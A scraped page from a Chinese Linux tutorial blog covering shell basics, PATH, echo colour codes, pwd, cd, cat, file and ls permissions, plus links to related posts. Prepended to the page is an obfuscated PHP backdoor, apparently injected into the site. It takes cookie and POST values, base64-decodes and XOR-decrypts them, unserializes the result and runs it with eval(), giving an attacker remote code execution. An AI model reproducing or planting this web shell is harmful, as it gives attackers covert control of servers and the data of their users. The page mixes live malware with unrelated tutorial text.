$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux基础小模块 | Linux运维部落

Linux基础小模块

1.基础知识小块:shell

由shell程序的自带命令:即为内置命令(builtin)

独立的可执行程序文件、文件名 :即为外部命令 

[root@localhost~]#ls      ~用户当前所在目录  #:命令提示符(管理员帐号root)  $:普通用户            

  shell环境

    

  独特程序  它是指操作系统中,提供访问内核所提供之服务的程序!系统跟计算机硬件交互时使用的中间介质,负责解析用户提供的命令。


2.基础小知识:命令

#echo $PATH :从那些路径中查找用户键入的命令字符串所对应的命令文件。      环境变量:PATH

 /usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin:/root/bin    

查的次序一定要自左到右         外部命令是带有程序的文件       

普通命令   /bin ./usr/bin         〈Linux下〉 最左侧/:表示根目录  其他的/:表示路径分隔符

管理命令   /sbin ./usr/sbin       〈windows下〉分隔符一般为\   

以.开头的文件为隐藏文件

. :  为当前目录

..:  为当前目录的上一级目录

[root@localhost ~]# /etc/sysconfig/    localhost也叫local ,正确的解释是:本地服务器

                   .:sysconfig  即为当前目录   

                  ..:/etc   即为当前目录的上一级目录

一、echo是个内建命令,应此可以用hellp echo 来获取帮助信息。           -n:关闭自动换行功能 

     而-e作为转义符时 可以做出闪烁的字体   即回显                     -b:退  格删除键  等

中括号内第一个数字代表前景色;第二个则代表背景色而5代表闪烁指令。

[root@localhost ~]#  echo -e "\033[43;32;5mhello zhangliang\033[0m"

hello zhangliang    闪烁

[root@localhost ~]#  echo -e "\033[43;31;5mhello zhangliang\033[0m"

hello zhangliang    闪烁

[root@localhost ~]#  echo -e "\033[45;32;5mhello zhangliang\033[0m"

hello zhangliang    闪烁


二、pwd  查看当前工作目录的完整路径: 

[root@localhost ~]# pwd

/root

[root@localhost ~]#

使用 pwd 命令查看指定文件夹:

[root@localhost ~]# cd /opt/soft/

[root@localhost soft]# pwd 

/opt/soft

[root@localhost soft]#

cd-:表示在上一个目录和当前目录之间来回切换。

cd 即change directory,改变工作目录


三、cat 连续的将文件的内容显示在屏幕上(连接文本文件)

cat -n textfile1 > textfile2 把 textfile1 的档案内容加上行号后输入 textfile2 这个档案里 d
cat -b textfile1 textfile2 >> textfile3 把 textfile1 和 textfile2 的档案内容加上行号(空白行不加)之后将内容附加到 textfile3 里。  

     file 文件内容内型查看命令

file /PATH/TO/SOMEWHERE

四、ls:list显示指定路径下的文件列表                                                                     ls -a 显示所有含隐藏文件

          ls -A 显示除带.和..之外的文件

          ls -l  长格式列表 详细文件信息

 

-wr-r- -r- – 

–  代表文件类型

rw- 文件属主的权限

r- – 文件属组的权限

r- – 文件其他用户的权限不包含属主和属组


用来查看命令类型: type ls  type type 

命令必须遵循的特定格式:exe  . mis   .ELF  . #file /bin/ls

原创文章,作者:Zzuimeng,如若转载,请注明出处:http://www.178linux.com/28493

(0)
上一篇 2016-08-05 16:15
下一篇 2016-08-05 16:15

相关推荐

  • nginx模块–proxy,upstream,header,stream

    ngx_http_proxy_module     proxy模块的作用:将请求传递给对应的服务器     示例:     location / {        &nb…

    Linux干货 2016-10-29
  • (总结)RHEL/CentOS 7.x的几点新改变

    PS:RHEL7和CentOS7出来有一段时间了,拿出点时间研究下,有几个地方跟6和5系列相比改变比较大,估计不少童鞋有点不太习惯。下面简要举例说明改变比较大的要点: 一、CentOS的Services使用了systemd来代替sysvinit管理 1、systemd的服务管理程序:systemctl是主要的工具,它融合之前service和chkconfig…

    Linux干货 2015-02-10
  • 链接的“软”与“硬”

    前言     类似Windows系统,Linux系统在进行文件管理时,也会引入链接概念。而链接又分为软链接和硬链接,两种链接适用于不同场合、不同用途,各有优缺点。在介绍软硬两种链接之前,需要先引入inode的概念。 Inode:     系统在管理文件时,为了有序寻址,会将元数据(metadata)和用户数据…

    Linux干货 2016-10-20
  • inotify介绍及rsync + inotify 实时同步备份

    1、前言 rsync (remote sync)是一款非常好的数据同步工具,能够通过对比同步双方的数据变动,实现增量同步,还可以通过LAN/WAN实现远程多台主机间文件的同步,还能结合crond任务计划来执行自动备份,又可以结合ssh实现远程数据备份的安全,种种特性使他看起来相当优秀。但如果需备份数据十分庞大时,它的不足之处就显现出来了,比如每次执…

    Linux干货 2016-06-15
  • CentOS6.7下关于vsftpd的应用之一(匿名用户/普通用户/虚拟用户)

    1)使用yum安装vsftpd [root@C67-X64-A1 ~]# /etc/init.d/vsftpd start为 vsftpd 启动 vsftpd:           &nbs…

    Linux干货 2016-09-19
  • OpenSSL 及创建私有CA

    OpenSSL 及创建私有CA OpenSSL OpenSSL,是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。 接下来对openssl基本命令进行介绍openssl 非常强大其子命令很多,这里只是对完成某些操作进行部分解释openssl 的基本格式为openss…

    2017-09-11